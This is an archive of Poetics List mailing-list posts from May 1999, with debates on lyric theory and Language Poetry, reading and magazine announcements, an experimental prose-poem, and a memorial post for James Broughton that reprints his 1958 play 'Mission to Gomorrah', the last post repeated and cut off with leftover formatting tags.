sentimental
Wed 19 May 1999

Who'd want to be saddled with that term?? Well.....I would. It's a gesture of self-defense--an aikido move. See my essay "Confessions of a Postmodern Poetess" forthcoming in a book of essays by women poets from Graywolf. Annie

> Date: Tue, 18 May 1999 11:37:44 -0400
> From: "Lowther,John" <[redacted]>
> *Subject: Re: Lyric (s e n t i m e n t a l / which lyric ?)*
>
> { p o e t i x }
>
> Annie Finch writes; "I have located a crucial distinction between what i call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy where all revolves around the central eye) and what I call the "sentimental" lyric (multivoiced, multiviewpointed, objectifying the speaker as much as the outside world)."
>
> and i think the distinction is quite probably useful
> but i wonder at the choice of the term
>
> s e n t i m e n t a l
>
> my wonder tending to channel's like ;
> "who wd want to get saddled with that term?"

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English/Creative Writing
Miami University

↑ Index

199. Billy Little responsibility

Wed 19 May 1999

sometimes i wonder and sometime i understand that i'm a delusional poet, a poet who imagines what is said(soberly, seriously, wierdly or funnily) is important and that sooner or later if you're a practictioner of poetry you discover that poetry makes demands of its own, hello there poet you may think you're looking in the mirror but knock knock us ghosts ooooo oooooo are looking back at you through the doorway which you think is the mirror we may be dead but we're part of the audience you're writing for and your audience expects hell requires more than the self agrandizement you might have imagined when you first stuck quill to parchment. One of those requirements, that Cavalcanti and Pound and Sor Juana and Borges and Levertov and Duncan and HD and Stein and Akmatova and Cvetaeva and Mayakovsky and Cummings and Catullus and Ovid and Olson and Creeley and Sorrentino and Dorothy Trujillo Lusk, and Kevin Davies and Tom Raworth and in my audience have always required of me is to remind the living practitioners and appreciators alike that no matter the constant reiteration of the platitude that poetry is a solitary art it is no such thing. You can't write poetry without reading it and sooner or later if you read it you're going to find there are poems out there (beside your own)that delight you, that outrage you, that put your own work to shame, and i've always taken it as my duty to shine a little light on this work, that's why when i perform i like to begin reading work by others that's particularly exciting to me at the time. does anyone else feel this way? you'd be hard pressed to tell it if you were looking for notice of the launch of The Recovery of the Public World. Sometimes i think it's a conspiracy against Robin Blaser, whose magnum opus The Holy Forest, one of the truly great books of 20th century literature, and surely one of the most important books of American Poetry published in the 90's got zero notice in the New York Times Book Review. Maybe The Recovery of the Public World, Essays on Poetics in Honour of Robin Blaser edited by Charles Watts and Edward Byrne and published handsomely by Talon Books more than makes up for that lack. The launch at the Western Front in Vancouver was another standing room only affair, 150 people packed into the Grand Luxe Ballroom on the second floor. Ted Byrne, Karl Ziegler, Peter Quartermain, Miriam Nichols, Sharon Thesen, George Bowering and Robin all spoke, Robin read from the libretto he's currently working on for The Last Supper and opera by Birdwhistle? forgive me somebody help me here i'm not up on my British Composers that while premiere next year. Most spoke in fond remembrance of Charles who died last year, sad loss, but as i read it i think of him up on Burnaby Mountain sometimes until near midnight kerning every page of this magnificent production. I'm going to try to give it the attention it deserves over the next month or so speaking of specific essays, it's a big task, it's a big poetry and many important writers including Phyllis Webb, Steve McCaffery, Lisa Robertson, Daphne Marlatt, George Stanley, Michael Ondaatje, Anne Waldman, Leslie Scalapino, Peter Gizzi, Jed Rasula, Susan Howe, Rachel Blau Duplessis, Kevin Killian, Nathaniel Tarn, Steve Dickison, Norma Cole, Bruce Boone, Peter Quartermain and more have essays in this 464 page collection. But here i want to remind you that poets are composed of equal parts of bravery and folly, so i don't want you to wait to hear what i'm going to say, i want you to rush right in there and let us know what you think of this reflection of the devotion of both Charles and Robin. If you don't hear from me, it's because I'm going crazy trying to find the three months arrears in my telephone bill and internet provider bill. If you've got a job for me, my grandchildren are growing up, I'm ready to leave the wilderness, let me know

love,

billy

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zap.to/zonko

↑ Index

200. Pritchett,Patrick
FW: Cole Swensen reading
Wed 19 May 1999

> Cole Swensen and Bin Ramke will be reading from their recent books this Friday, May 21 at 7:00pm, Renaissance North, Mary Read Building, University of Denver Campus.

↑ Index

201. Lowther,John Disruption, Parameters etc
Wed 19 May 1999

{ p o e t i x }

Randy Prunty quoting George Lakoff on Gins and Arakawa;
"The increasing violence and destruction in the world - physical, ecological, > economic, social, and emotional - are > all a product of our present modes of > thought. If the cruelty is to end, our > concepts must change. Since concepts > are physically encoded in the brain and > grounded in the body, our brains and > bodies must change. If art is to play a > role for the good, it must disrupt our > concepts, our normal ways of > functioning - our brains and our bodies.

> Art as disruption is art as a moral force.
> Disruption is an aesthetic experience, > and an aesthetic experience of this kind > is inherently moral. Moreover, > disruptive art on a large-enough scale > will be sufficient to reverse our destiny, > so that the violence and destruction > can end."

and to this Jacques Debrot replies saying (among other things);

> "But one of the difficulties here, > in respect of poetry, seems to me > precisely one of "sufficiency of scale."
> Nor is disruption something > diametrically opposed to violence & > destruction"

next in the queue Mark Prejsnar intervenes suggesting that Jacques is overburdening the term "disruption" in the Lakoff piece - but upon reflection and a good third reading of what Jacques is saying i don't think he's overburdening the term - simply indicating that it might also have descriptive acuity relative to violence and thus that 'disruption' in an of itself is not anything we can value positively in every situation - of course Mark is also right in saying that in context the sort of disruption Lakoff discusses is meant to be a good thing - or to state it less dyadically the interventions via art that Arakawa and Gins enact are meant to shake up the fixity of our notions whether they be perceptual or conceptual

Mark and Jacques also both assume that the two voice post questioning whether poetry is telic or not was meant as a response to the rhizome piece - and while i know that the 1st question of poetry as 'telic' arose there it wasn't my intention that they be linked - the two voice piece, as Randy noted in his post was of two minds as well more an attempt to see what two possible perspectives among countless ones i didn't think of might have to offer

but Jacques does link this to the essay and brings up a question that i find interesting and a little bit troubling as well

Debrot (with my parsings);

> "...the problem it seems to me > is rather that, at a time when > the history of art is arguably > over, & the most extreme > aesthetic violence --Artaud's say > -- is merely a "style" that one > cannot avoid "quoting" > (...) can art really be said to > have retained a capacity for > disruption? (...) S. Schaefer > problematizes the continuity > between radical poetic theory > and practice. This aspect of > his argument seems persuasive, > particularly in the context of > Prunty's post, as no poem seems > likely to come close to approaching > the extremity of the aesthetic > experience Lakoff describes."

? but is Lakoff describing a fait accompli or discussing the motivation for a work of art ? has everything really already been done ? how cd this be ? and if it was the case how cd we know ? what wd assuming such to be the case leave us with ? or rather, what use is there for an analysis that says ~the history of art is arguably over~ ? wd it remove all anxieties about one's place relative to tradition ? (what if you weren't anxious ? cd you hang onto history then ?)

i think Jacques cuts to the quick in saying that there is a problem with the "sufficiency of scale" and as such i think that Standard's question about whether the theory and practice match-up is not incoherent or meaningless by any means but i wonder exactly how many writers or more generally artists who have been motivated by political/social concerns in any way cd withstand a litmus wherein every goal they've espoused must be found to have been achieved thru their art

but Jacques continues with this; "But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" since it is not, I don't think, [a] sort of Antinomian practice..."

And Mark asks; "What parameters does Jacques agree we must adhere to??"

and i find that i'd like to hear some answer to this myself but i don't myself see how establishing parameters cd do anything other than limit "the possibility of poetry today" - and further i fear much more of this does something like what Randy was saying; it "put[s] too much pressure on those little ink spots on the paper."

↑ Index

202. Christopher Reiner
Series/Mnemonic
Wed 19 May 1999

A wonderful debut by Trane DeVore (from Avec Books). Here's the promo. (More information, along with excerpts, will be on Avec web site by Friday.)

_____

New From Avec Books
Series/Mnemonic
poems
Trane DeVore

In a sequence of short poems rendered in refined yet sensual language, DeVore's close scrutiny encompasses both the corporeal and the temporal worlds. Like Proust's madeleine, objects and elements in nature ignite remembrance and desire. The poems in Series/ Mnemonic are deftly humorous--but also elegant observations about memory and the physical world.

‰ The accomplishment in Series/ Mnemonic is doing something plain with cool, careful observation. This work sits well. Thoughtfully composed, simply presented "it smolders in the round."

-Laura Moriarty

"Exactitudes of hand & mind & eye." This is the one who is particular & exemplary, measure & epitome, personal but never blinded by that. Trane DeVore's poetry of one's situations is purely beautiful, a lasting relief to such as it incisively indites. There haven't been many "first books" as fine & accomplished & meanwhile as promising.

-David Bromige

DeVore's poetry grapples with traditional matters-memory, desire, beauty-in a method which is distinct and contemporary. Moreover, in an age where irony has been the dominant figure, I find his post-ironic language refreshing, bold and new. This work is playful, sensuous, spare, elegant, rigorous, and compelling.

-D.A. Powell

Trane DeVore was born in Rescue, California. His work has appeared in numerous publications-most recently in Prosodia, tight, and the late Exquisite Corpse-and he has worked extensively with various incarnations of the Lingua Quartet. He is currently at U.C. Berkeley doing graduate work in English.

Publication Date::
May, 1999
List Price $10; ISBN: 1-880713-17-9 website: http://www. litpress.com/avec/Distributed by Small Press Distribution and Baker & Taylor

↑ Index

203. Poetics List Administration
What does Mr. Pound believe? / Materer
Wed 19 May 1999

had to reformat this one; as a reminder to digest subscribers, please be sure not to duplicate the entire digest in your reply. Chris

-------- Original message (ID=5E23711D) (1151 lines) ----------

Date: Wed, 19 May 1999 12:48:49 -0600
From: Timothy Materer <[redacted]>
Subject: What does Mr. Pound believe?

> What does Mr. Pound believe?
>
> I can't remember where this quote from T.S. Eliot on Pound occurs.

Eliot asks this question at the end of his 1928 review of Pound's _Personae_. You can of course find the full reference in Gallup's bibliography.

↑ Index

204. Poetics List Administration
Shark #2 / Clark
Wed 19 May 1999

this came to the administrative account. Chris

From: "Emilie Clark" <[redacted]>
Date: 5/19/99, 9:31 AM -0400

Announcing Shark #2: What is Context?

Poetics and Reviews by:

Bill Luoma, "Cowgirls Like the Salt Lick"

Steve Evans, on Spahr, Friedlander, Hocquard and Luoma

Jean Day, "The baby wore an expression of concern . . . / and where do you come from?"

Charles Bernstein, "Speed the Movie or Speed the Brand Name or Aren't You the Kind that Tells"

Gregg Biglieri on Lisa Samuels

Alystyre Julian on Lee Ann Brown

Lytle Shaw, "On Coterie"

Lewis Warsh on Fanny Howe

Art Projects:

Emily McVarish, "Lives and Property"

Anthony Discenza and Torsten Burns, "Halflifers Transcription One: Control Corridor"

Mark Shepard, "Industrial Pilz"

Linda Geary, "Untitled"

Emilie Clark, "Classification Scheme .O999"

Julie Harrison and Brigid McLeer, "A Response to If it Rained Here"

Tony Gray, "Untitled"

Sarah Pierce, "Station Nostalgia Transit Love"

$10/issue
Subscriptions (2 issues) $18
For subscriptions outside the US, add $3 postage per issue.
Make checks payable to Lytle Shaw or Emilie Clark
74 Varick St. #203
NY, NY 10013

↑ Index

205. Garrett Kalleberg
Naturalism - TF10
Thu 20 May 1999

Naturalism

http://www.morningred.com/friend/1999/05/cover.html

The Transcendental Friend
Issue No. 10, May 1999

Namely.

The nature of force, the force of "the natural."
An unnatural act.
The true and inescapably evil nature of the serpent.
The nature of the review as form.
Empathetic nature.

New work by Emilie Clark, Lytle Shaw and Heather Ramsdell ("Wildness"); Yoko Tawada translated by Susan Bernofsky ("Raisin Eyes"); Jesse Glass ("of snakes"); Dan Machlin ("Review as Form"); and Zhang Er translated by Susan Schultz ("The Autumn of GuYao").

And this much for the ill condition, which man by meer Nature is actually placed in; though with the possibility to come out of it, consisting partly in the Passions, partly in his Reason. (Thomas Hobbes.)

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

Immanent Audio Online at:
http://www.morningred.com/immanentaudio

↑ Index

206. Alan Sondheim

Nikuko:

Thu 20 May 1999

\

Nikuko:

Nikuko: Nikuko: Nikuko: Cool, there are times I hunger to see you. But to begin, a Nikuko: discourse, on exile. Mountains, shrines, Nakasukawabata, Nikuko: continue to haunt me. I am bound by the name. Streams. What is Nikuko: the moment of meditation. Lasting, until the body bends. Nikuko: Double-clapping; there are so many gods they forget my face. Nikuko: Or the dancing, gestures, movement of the double balls at the Nikuko: matsuri. There are lines and threads across this earth, Nikuko: forgotten. Demarcations of areas, bounded, which empty me Nikuko: internally. What is not lost, moment of a vast gone world. The Nikuko: gods gather in great whirlwinds; they approach a coast and are Nikuko: turned back. They live with the turning. They gather at the Nikuko: boundary and look across. They see whatever may be absent but Nikuko: it is beyond their reach; they have no arms and legs and their Nikuko: voices do not carry them farther. Vast cataclysms of orange Nikuko: energy sweep from their hungry faces. They speak unknown Nikuko: languages and even I do not know their languages. I did not Nikuko: know nor ask why they are gods. Now there are questions framed Nikuko: by the whirlwind and the boundary. The sky here has no energy. Nikuko: Or rather is all energy, parceled by lines determined by a Nikuko: metric space. It is spectral blue. Sometimes at night arms and Nikuko: legs of kami push out through my skin, distort me. Painful Nikuko: partial births; in the morning I look and see nothing Nikuko: emerges. I would turn and turn and wind the thread. I stare Nikuko: into a space I can only see as schizophrenic. I would divide Nikuko: and turn into an other traveler. She would come with me, arms Nikuko: and legs in arms and legs, her head in my head, her womb in Nikuko: mine, body and body, mind and mind. At night she seems real. Nikuko: The gods gather and look around but they can't see that Nikuko: far. There are mists and whirlpools, enormous storms at the Nikuko: boundary. Whatever they murmur, truth and magic, I cannot hear Nikuko: clearly. I speak and speak and nothing happens. That is the Nikuko: truth of exile - the speaking, nothing happens. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Everywhere that I will be, there I will listen to you, O Nikuko: Gods. Always the texts to be read, forwards and backwards. Nikuko: Always the application of formula. The words pour over me. I Nikuko: will always belong to the beginnings of hermeneutics; I am Nikuko: always exiled from speech, from language. Interpretation is Nikuko: exile's result. Once I did rend myself by the waters of Nikuko: Babylon; now it is the rivers through Fukuoka that gather my Nikuko: tears. I am always already at a loss; it is the loss of the Nikuko: world, the dull lid of the night collapsed and soldered hard Nikuko: to the exigencies of the real. This hard earth, here, does not Nikuko: support me. Memory cannot move among the truth of threads Nikuko: connecting one to another. Not every space has a home. There Nikuko: are spaces that cry, spaces that weep, spaces that mourn. My Nikuko: spaces mourn; I listen to my spaces crying and weeping. I Nikuko: repeat the texts, magic. The formula are useless, gods Nikuko: suspended in the whirlwind. Every line spoken, here, for Nikuko: you. I can't understand your replies. Give me a ticket to Nikuko: Kyushu. I will fill my belly and give birth to many dolls. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Ein Zeichen sind wir, deutungslos Nikuko: Schmerzlos sind wir und haben fast Nikuko: Die Sprache in der Fremde verloren. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Now I am very tired and I will put my sleepy head on this very Nikuko: nice pillow, so downy and comforting, and I will play pleasing Nikuko: music and my lights are very low. And I can hardly hear the Nikuko: traffic outside, there is the sound of shrine bells somewhere Nikuko: in the distance, and I wake up, and there is the sound of Nikuko: traffic outside and there are church bells disturbing my tiny Nikuko: sleep, and I wake up, and there is the sound of traffic and Nikuko: the sound of a muezzin chanting. My lovely sleepy head is so Nikuko: very restless, it is the head of a refugee, it moves from soft Nikuko: place to soft place and I am so glad it is not a war but the Nikuko: sound of temple bells, and I will have a wonderful place to Nikuko: sleep tonight, and I wake up, and I am so snuggly warm, and I Nikuko: love your language, and I fall back asleep "for just another Nikuko: minute." Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: I am a picture and a frame which is the picture, and now I am Nikuko: another picture and another frame; this is a film story of my Nikuko: life and I am another picture. I speak here and then Nikuko: I speak here and you can follow me speaking through time after Nikuko: time but I am to be your shadow in this speaking. And now I Nikuko: will tell you as well I am a shadow and you see my projection Nikuko: and your project. And now you will understand that there is a Nikuko: voice behind me and a voice beneath me; that there is a woman Nikuko: behind me and a woman beneath me; that there is a frame behind Nikuko: me and a frame beneath me. And this is the frame which is the Nikuko: film and you will have this film while "I am not those among Nikuko: them who are there to be counted," nor am I "one of those who Nikuko: shall remain unaccounted," nor further, "one of those who Nikuko: remain unaccounted for," you will have this in order, as I am Nikuko: a picture and a frame and now I am saying this and now I am Nikuko: saying this. For "I shall remain unaccountable," and "a Nikuko: presence in your midst," and "you shall not hear the voice of Nikuko: the prophet," and "there is a gift of the letters." Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Cool, all that has been named, plagiarized, I'll speak through Nikuko: yet another one, you might know her name, I'll keep it silent Nikuko: like the bell is silent in the whirlwind. O Gods, recompense Nikuko: in silence, your clatter, furious, hard put against the sea. Nikuko: What is wine-dark, dark as well with blood, horse waves broken Nikuko: against wood pegged into wood, shrines speared into red-brown Nikuko: earth. What would be a spell, catenary bent into born words, Nikuko: formula, you crawl upon me, your claws into me, your teeth Nikuko: into me, your nails, your bright bright eyes. Turn me towards Nikuko: your scales, return me back to birth where bone are found. Nikuko: Cool, that names are found. From my wounds, threads. From the Nikuko: threads, symbols, kanji, spaces burned with numbers. What has Nikuko: been told to you from my eternal death. You would know fire, Nikuko: tornado; you would know furious avalanche, violence of the Nikuko: wind. Bead-worlds strung on wound-threads, many thousand Nikuko: thousand year. Earths moan for me; planets pray for me; worlds Nikuko: stitch and open wounds. I am your maw, slashed upon sword; you Nikuko: dance your stupid dance, I'll come out of the cave, grab you, Nikuko: you'll have sun again. "Tell me where I am, baby." I can't Nikuko: speak without screaming songs. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko:

↑ Index

207. Erika Stephens Long response to Jacques
Thu 20 May 1999

This is Mark Prejsnar; (our new home account has only Erika's name on it; which causes some confusion...)

I think Jacques Debrot's recent interventions attempt to strike a useful balance, regarding some of the preceding exchanges. He is wrong on a number of points, though:

Regarding Standard's interesting essay in Rhizome 3, he writes:

"Standard's attitude toward Language Poetry, far from attempting a degree of objectivity or dispassion is clearly interested, and reveals the Oedipal anxieties that are a very familiar pattern in inter-generational conflicts for predominance -- but after all he is only as unfair to the Language Poets as they were to their precursors."

Now i'm sorry, but this is just plain silly. Unlike the important polemics of the 1970s, SS's piece says nothing helpful or accurate about the older poets he wants to dis... His primary rant, is that they have "seized power," by dishonestly manipulating left-leaning theory and polemics. I think (and hope) that most Listmembers realize that Silliman and Bernstein and Hejinian and Scalapino do not "hold power".. That simply suggests how defensive and out-of-touch Standard is. Hell, Robert Pinsky, the FDR of mediocre laureates (going beyond traditional term limits, ya know) holds damn little POWER. Poets, like say jazz musicians, are really not part of a power structure in any meaningful sense. SS is mainly having problems with ressentiment, as is indicated by phrases like "Marjorie Perloff and her cronies." As someone who is not nearly important enuff to be part of Standard's target group, i'd like to testify from the sidelines that this is uh, sad. And sure not appropriate to a poet and editor who has done the fine stuff SS has in the past. As many jazz musicians of my acquaintance do, i think poets should have a more collegial and comradely tone, than is contained in petty factionalism such as SS's piece projects. Like them we're part of a subculture that doesn't get many resources allocated to it... We'll flourish best thru mutual aid.

Another of Jacques's remarks:

"However, to the extent that Language Poetry made the attempt to "talk back to power" a central -- the central? -- aspect of their aesthetic, it certainly seems more than fair to point out the compromises, blind spots, and hypocrisies in their negotations with institutional priviledge. It's not quite good enough for them simply to agonize over the extent to which they now participate in reproducing relations of prestige, etc. when such questions, owing to the premises from which Language Poetry develped, are uniquely relevant to the work itself --"

Well here we need a major statement (and i'm not being facetious) analyzing what these compromises, blind spots and hypocrisies are. Clearly JD is throwing in here with SS's "Perloff cronies siezing power" thing. Just WHAT are these two talking about?? can SOMEONE possibly elucidate what they think they are saying?? Are Silliman and Perelman and Bernstein guilty of this rather lurid and extreme series of misdeeds, because they have taught in universities ?? Because they have five or six books (out of many dozens) that were published by university presses?? Because they have been mentioned in the NYT Book Review more times than Standard?? (a total of 7 or 8, i'd guess, over quite a few years). I have no personal stake in the public image of the poets Standard and Jacques are accusing of compromises, blind spots, hyposcrisy, "relations of prestige" (now just what is that??)---i have never met any of 'em, and seldom spoken with them over e-mail. It just seems to me that SS and JD are badly confused about values and about reality. If they could put a tenth of this invective into weakening the capitalism fee-market system and other structures of really hurtful power, we would all have moved appreciably closer to the promised land, that's fer sure!

Finally: "It seems obvious for example that, as a result of their critique of the mediated & conventional character of passional language, the Language Poets made a wide range of aesthetic experience unavailable to experimental writing."

Now here Jacques makes an interesting point. But obviously the load of defensive rhetoric toward the poets of the last 30 years is just an inappropriate response...As is the absurd phrasing: no one has made anything "unavailable." If this is a problem for JD, he knows what to do: make his mark by rev'ing up the ol' computer and spinning out some passional writing. Koch said to Ashbury (if i have the well-known anecdote right) not to be upset at all the strong writing coming out in mags: "more for us to steal!" To skew the joke somewhat, if older poets have made something underappreciated or underutilized, then for Jacques the obvious point of view should be "more for me to set right in my own work!"

Also take it from me: drop this "experimental" crap. If you think yer writing is just writing, you might find it easier to start gettin' "passional"... Just a personal peeve.

passionally,
Mark Prejsnar
@lanta

↑ Index

208. Michael Scharf
Music of Changes
Thu 20 May 1999

Does anyone have a recording of David Tudor playing Cage's Music of Changes? I'd be much obliged, and of course cover expenses, if I could get a hold of a cassette. Did Tudor even record the piece? Can't find it.

I ask re: a Some Trees project. I have the 80s Wergo recording with Herbert Henck at the keys, but it sounds, well, kind of Teutonic.

Backchannel?

Thanks -Mike

↑ Index

209. travmar03
Fw: Highwire
Thu 20 May 1999

Please put the following message out on the (virtual) wire to whomever you think will be tittillated, tantalized, and tickled to see two poets pull out all the stops. See poisioned apples, exploding cheesesteaks, asthma causing summer air, and some of the most exciting poetry in the Northeast Corridor today.

Battle of the Experimental Press Editors

Katy Lederer
Editor of Explosive
and
Michael Magee
Editor of Combo

will read at Highwire Gallery
8 PM
Saturday May 29, 1999
139 North Second Street

Philadelphia
BYOB

↑ Index

210. dbkk
Death of James Broughton
Thu 20 May 1999

Hi it's Kevin Killian. Poetics List has probably heard the news, but the poet and filmmaker James Broughton, one of the original "New American Poets," died in Port Townsend WA at age 85 on Monday May 17.

He could be a bit acerbic and he was kind of a nut about "joy" this and "joy" that but oh, I'll miss him. Dodie and I got him to dig out his long-ago "Maidens" play which I had heard about doing research into the Spicer book, and we printed it in our zine about 2 years ago, here it is again for those who didn't it

MISSION to GOMORRAH

This play was especially written to amuse poet friends and was performed by them for the first time in April 1958.

Rowena Monkenberg Helen Adam
Mrs. Lily Trump Eve Triem
Flippety Dick Jess
Major Beatrice Madeline Gleason
Dr. Agon Robert Duncan

[Scene: a desert. Enter ROWENA MONKENBERG in a flowing gown, Mrs. LILY TRUMP in a cocktail dress, and FLIPPETY DICK in shorts.]

ROWENA. I see no city ahead.
Charred sand for endless miles.
No distant mountain. Not even a lizard.
How will we survive across this wasteland?

LILY. My feet hurt. I shouldn't have worn so much jewelry.

FLIP. When in doubt, wiggle less and breathe more!

ROWENA. This heat shrivels my Scottish bones.
The only water is this stinking green pond.

FLIP. Before using internally, or any other way,
see if your solution needs a good shake.

ROWENA. I hate you, Mr. Flippety Dick!
I can't forgive you for ruining the picnic.
Why did you kill that adorable tarantula?

FLIP. I will kill, and I will make to live.
I am the Dance of Shiva!

LILY. My friend Mrs. Pines, Mrs. Dora Pines,
saved string in boxes for forty-one years.
One morning she opened them all up
and hung herself.

ROWENA. O, the ugly passions of mankind, they poison me!

LILY. Dora Pines couldn't stand it,
the endless humdrumming next door,
not another minute.

FLIP. This is a poor excuse for a desert.
Where are the saints? Where are the slot machines?

LILY. Are we really on the right road to Gomorrah?

ROWENA. The last signpost said: Nirvana 25,000 miles.

LILY. I didn't want to come on this expedition.
But the Major is so determined.
Determined to establish her colony on sacred ground.
What are she and the doctor doing?

ROWENA (looking off).

The beasts! They're swatting!
They're swatting the tsetse flies!

FLIP. That sphinx we just passed in the sand-
I asked her a riddle.

LILY. Why do you talk to every girl you see?
You're just trying to break my heart.
Even my husband is more thoughtful of me than you are.

FLIP. Said I to the Sphinx, said I:
What is it that is born in a vacuum
lives in an air-conditioner
and dies in a doldrum?

LILY. I give up!

FLIP. Said the Sphinx to me, said the Sphinx:
'You gaseous lump,
how dare you ask me riddles!"
said the Sphinx to me.

LILY. The minx!

ROWENA (singing to herself).

So comely Maud has gone to her grave
for the sorry love of a sailor.
She hanged herself on the blackthorn bough
because her Johnny failed her.

Her cat of black, her golden finch
are friendless, left to grieve her.
And her Johnny Boy of the seven seas
is still a gay deceiver.

LILY. Flippety dear, I wish we were back in that dark cocktail lounge, sitting on that soft divan
with plenty of that hard liquor.

FLIP. All the girls I dream of
have names beginning with Ann.
Anima, Anemia, Angina, Anesthesia . . .

LILY (sighing).

O Man, where is thy sting?

SLIP (suddenly passionate).

When honey dripped from the trees
in the once-golden orchard of Man, happily sucked they like bees
those sunlit children of Pan.
Like lions of love lived they where gold apples over-ran,
juicily roaring at play
in the bedfellow Eden of Man.

[Enter MAJOR BEATRICE, followed by DOCTOR AGON. She is wearing mountaineering outfit, he is in mourning.]

MAJOR B. No, doctor, no! I haven't time to kiss you!
We are on a pilgrimage.
I need your science by my side,
not your whiskers in my face.
We must persist, or we are undone.

DR. A. All errors are the want of love.
The Wheel never breaks, the break never heals.

MAJOR B. I have a mission. Don't you?
Doesn't everybody have a mission?

Don't you believe that sublime affirmations
shine in the dark heart of the world?

DR. A. Beyond this emptiness is there any bright oasis?
Are Truth, Beauty, and Goodness
ever found where we look for them?

LILY. Major, I'm thirsty. Where are we?

MAJOR B. We're not there yet.

ROWENA. There's a salty smell. Mightn't Gomorrah be near?

DR. A. Sand. A pond of stinking water. A tombstone.
Looks like the kingdom of Ozymandias.

FLIP. Is hell even hotter than this?

MAJOR B. 'Thus saith the Lord,
the people which were left of the sword
found grace in the desert.'

DR. A. It is also said that if a pig is thrown into deep water,
when he tries to save himself from drowning
he cuts his throat with his own sharp hooves.

ROWENA. O Doctor Agon, how could you?
That dear little pig! You're a beast!

MAJOR B. Take heart, my brave pilgrims.
The first condition is:
make yourself humble as dust and ashes.

DR. A. Major of my dreams,
If I were not entranced by the tip of your nose,
I would be back home in my Guatemalan hammock.

MAJOR B. This is no time for fiddle faddle.
Look at that warped cloud!

DR. A. Must I surrender my attachment to the human creature and her 10,000 things?

LILY. When I was first married
my husband kept the cow in the bathtub.
He still keeps his tools in it.

DR. A. Maybe I could be of help, Mrs. Trump.
Here's my card.

MAJOR B. Doctor, you know what we are suffering from. Why don't you help us?

LILY. There's a lot of it going around.

ROWENA. There's something wrong with the stars.

DR. A. There isn't any cure.

MAJOR B. There has to be!

FLIP (singsong).

Sippety syrupy sob,
the corn is off the cob.
Baba Yaga going gaga
cut off the balls of Bob.

[ROWENA shrieks.]

LILY. Falling, falling . . .

DR. A. The rain it raineth every day.

MAJOR B. Where falls the heavenly dew, to lave
the soiled black body in the grave?

LILY. Destruction!

ROWENA. Damnation!

FLIP. Disfigurement . . .

MAJOR B (beginning a blues song, which the others join).

It's gotten out of hand
It's coming down all around
It's falling out all over me,
I've got those radioactive, feeling inactive,
feverish fallout blues!

DR. A. My burning baby . . . .

MAJOR B. It's falling from above
but not from Heaven.
It's just coming down on me.

DR. A. . . . and me . . .

ALL. All over us! It's scandal-ous!

LILY. Ruin-ous!

ROWENA. Poison-ous!

FLIP. Igneous! . . .

MAJOR B. And I get the feeling I'm falling,
I'm falling out too . . .

DR. A. My fallen angel . . .

MAJOR B. I'm falling out with you.

DR. A. Then we're together . . .

DR. A. and MAJOR B (singing together).

I'm falling out-with-you.

MAJOR B. I'm falling out of love
I'm falling out of shape
I'm falling out of luck . . .

DR. A. I'm out of my mind . . .

LILY. Out of joint . . .

FLIP. Out of kilter . . .

ROWENA. Out of order . . .

DR. A. Out of the question . . .

MAJOR B. It's falling out-
of all proportion
and it's all coming down on me.

DR. A. . . . and me.

ALL. All over us! It's blasphem-ous!

LILY. Villain-ous!

ROWENA. Insidi-ous!

FLIP. Nucle-us!

MAJOR B. I've got those unattractive, overly active, damn hot fallout blues!

[End of song.]

FLIP (spoken).

I'm sick.

ROWENA. The poor dragonflies! O the rats and fleas!

DR. A. Death is the thing we carry in our hands.

LILY. Death is the thing I see in my mirror.

FLIP. Death is all right for the other fellow.

ROWENA. Death is the loiterer I do not trust.

MAJOR B. Where falls the heavenly dew, to lave
the soiled black body in the grave?

DR. A. Death is a womb, like sleep and dream.

MAJOR B. The seed, the seed, the renewing grace . . .

DR. A. Out of Death's blackened phallus
bursts a beauty of sunrise flower.

MAJOR B. Death is the beginning we fear to know.

FLIP. What's so great about staying alive?

ROWENA (singing).

The mountains are all looking down, down, down,
the fair lady Margaret to see,
how her devilish act did startle the town
when she hanged her two babes on a tree, tall tree . . .

LILY. My feet hurt. They're so hot.

MAJOR B. Take heart again, my pilgrims.
You have been humbled enough by dust and ashes.
Now arise. Rise to the uplift stair!
We have longer to go in the shortest of time
and there's no way out but up!

DR. A. How far will the Eternal Feminine
lead us eternally upward?

LILY. Will we get to a nice cocktail lounge?

FLIP. Will I have to put up with angels?

ROWENA. I want to see Gomorrah!
I want to see the bones of burning sinners!

MAJOR B. All that fails we witness and denounce.
So let us risk the only bliss that counts.
Come, take adventure! Let the sorrow go!
This wasteful desert is a passing show.

[She herds them off.]

Hi it's Kevin Killian. Poetics List has probably heard the news, but the poet and filmmaker James Broughton, one of the original "New American Poets," died in Port Townsend WA at age 85 on Monday May 17.

He could be a bit acerbic and he was kind of a nut about "joy" this and "joy" that but oh, I'll miss him. Dodie and I got him to dig out his long-ago "Maidens" play which I had heard about doing research into the Spicer book, and we printed it in our zine about 2 years ago, here it is again for those who didn't it

<italic><bigger>MISSION to GOMORRAH

</bigger></italic><fontfamily><param>AGaramond_Italic</param>This play was especially written to amuse poet friends and was performed by them for the first time in April 1958.

</fontfamily><fontfamily><param>AGaramond</param>Rowena Monkenberg <italic>Helen Adam

</italic>Mrs. Lily Trump </fontfamily><fontfamily><param>AGaramond_Italic</param>Eve Triem

</fontfamily><fontfamily><param>AGaramond</param>Flippety Dick </fontfamily><fontfamily><param>AGaramond_Italic</param>Jess

</fontfamily><fontfamily><param>AGaramond</param>Major Beatrice <italic>Madeline Gleason

</italic>Dr. Agon <italic>Robert Duncan

</italic></fontfamily><italic>[Scene: a desert. Enter ROWENA MONKENBERG in a flowing gown, Mrs. LILY TRUMP in a cocktail dress, and FLIPPETY DICK in shorts.]

</italic>ROWENA. I see no city ahead.

Charred sand for endless miles.

No distant mountain. Not even a lizard.

How will we survive across this wasteland?

LILY. My feet hurt. I shouldn't have worn so much jewelry.

